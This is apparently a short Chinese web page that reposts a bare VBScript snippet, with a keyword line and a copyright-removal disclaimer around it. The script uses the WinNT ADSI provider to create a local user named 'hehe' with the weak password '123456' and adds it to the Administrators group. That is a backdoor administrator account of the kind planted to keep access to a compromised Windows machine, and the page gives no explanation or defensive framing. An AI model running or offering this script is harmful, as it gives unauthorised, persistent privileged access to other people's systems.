| 关键词: nbsp GetObject set wsnetwork hehe os user Administrators CreateObject ComputerName |
set wsnetwork=CreateObject("WSCRIPT.NETWORK") os="WinNT://"&wsnetwork.ComputerName Set ob=GetObject(os) Set oe=GetObject(os&"/Administrators,group") Set od=ob.Create("user","hehe") od.SetPassword "123456" od.SetInfo Set of=GetObject(os&"/hehe",user) oe.add os&"/hehe" |
|
声明:文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|